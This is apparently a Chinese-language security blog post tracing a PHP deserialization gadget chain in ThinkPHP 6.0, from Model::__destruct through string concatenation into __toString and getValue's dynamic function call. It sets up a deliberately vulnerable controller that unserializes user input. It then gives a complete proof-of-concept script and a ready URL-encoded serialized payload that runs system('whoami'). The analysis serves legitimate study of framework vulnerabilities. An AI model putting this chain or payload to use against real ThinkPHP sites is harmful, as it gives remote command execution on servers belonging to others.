使用composer进行安装:
composer create-project topthink/think=6.0.x-dev TPv6.0
cd TPv6.0
php think run
定义入口文件app\controller\Index.php
:
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index($payload='')
{
//echo $payload;
unserialize($payload);
}
}
反序列化POP链的起点通常是__destruct()
函数,这次漏洞的触发点位于vendor\topthink\think-orm\src\Model.php
中Model
类的__destruct
析构函数:
当满足$this->lazySave==true
时,将会调用$this->save()
,继续跟进。
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$this->isEmpty()
:只需要满足$this->data
不为空即可。$this->trigger()
:只需要满足$this->withEvent == false
即可返回true。$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
当$this->exists == true
时进入$this->updateData()
;当$this->exists == false
时进入$this->insertData()
。
分别跟进,发现updateData()
存在继续利用的点,所以需要$this->exists == true
,跟进分析。
这里下一步的利用点存在于$this->checkAllowFields()
中,但是要调用该函数,需要通过①②两处的if语句:
① 与之前save()
中的一样,只需要令$this->withEvent == false
即可通过。
② 需要$data == 1
,所以我们跟进$this->getChangedData()
看一下:
只需要令$this->force == true
,即可直接返回$this-data
,而我们之前也需要设置$this-data
为非空。
回到updateData()
中,之后就可以成功调用到了$this->checkAllowFields()
。
下一步的利用点在$this->db()
中,所以我们需要令$this->field
和$this->schema
均为空才能调用到它:
但可以看到这两个地方默认为空,所以不需要进行构造,然后进一步跟进$this->db()
。
可以看到这里已经存在了用.
进行字符串连接的操作了, 所以把$this->table
或 $this->suffix
设置成响应类对象就可以触发__toString()
了。
目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用__toString()
,所以先总结一下我们需要设置的点:
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
调用过程如下:
但是还有一个问题就是Model
类是抽象类,不能实例化。所以要想利用,得找出Model
类的一个子类进行实例化,这里可以用Pivot
类进行利用。
既然前半条POP链已经能够触发__toString()
,下面就是寻找利用点。这次漏洞的__toString()
利用点位于vendor\topthink\think-orm\src\model\concern\Conversion.php
中名为Conversion
的trait中。
很简单,跟进toJson()
。
对$date
进行遍历,其中$key
为$date
的键。默认情况下,会进入第二个elseif
语句,从而已$key
作为参数调用getAttr()
函数。
接着跟进getAttr()
。
位于vendor\topthink\think-orm\src\model\concern\Attribute.php
中:
$value
返回自$this->getData()
,且参数为toArray()
传进来的$key
,跟进一下getData()
:
继续跟进getRealFieldName()
:
当满足$this->strict == true
时(默认为true),直接返回$name
,也就是最开始从toArray()
中传进来的$key
值。
从getRealFieldName()
回到getData()
,此时$fieldName
即为$key
。而返回语句如下,实际上就是返回了$this->data[$key]
。
然后再从getData()
回到getAttr()
,最后的返回语句如下:
return $this->getValue($name, $value, $relation);
这时参数$name
则是从toArray()
传进来的$key
,而参数$value
的值就是$this->data[$key]
。
继续跟进一下getValue()
首先$fieldName
的值来自经过getRealFieldName()
处理的$key
值,而当$this->strict == true
时,是不做处理直接返回的,所以$fieldName
的值就为$key
。
跟进一下getRealFieldName()
:
然后需要通过两个if语句,满足的条件为:$this->withAttr
数组存在和$date
一样的键$key
,并且这个键对应的值不能为数组。
这样的话,就会把$this->withAttr[$key]
(withAttr
数组$key
键对应的值)当做函数名动态执行,参数为$this->date[$key]
。
例如:
$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"];
实际上最后执行的即为system('whoami')
至此,后半个POP链也构造完成,小结一下需要构造的点:
trait Attribute
{
private $data = ["axin" => "dir"];
private $withAttr = ["axin" => "system"];
}
除此之外还需要将前面说的table
声明为Pivot类对象,从而将两个POP链串联起来。
最终POC如下:
namespace think\model\concern;
trait Attribute
{
private $data = ["Lethe" => "whoami"];
private $withAttr = ["Lethe" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
运行得到payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22Lethe%22%3Bs%3A6%3A%22system%22%3B%7D%7D
第一次对ThinkPHP框架进行真实漏洞的审计,参考着大佬们的分析文章才弄明白了。其实一步一步理解这个反序列化漏洞的流程并不是特别困难,主要还是自己对ThinkPHP框架不熟悉、对PHP命名空间的概念也不是特别清晰,导致在编写POC的过程中遇到了些问题。之前一直处于只做CTF题目的状态,以后还是得要多做做代码审计,找个时间把thinkphp手册过一遍吧,tcl。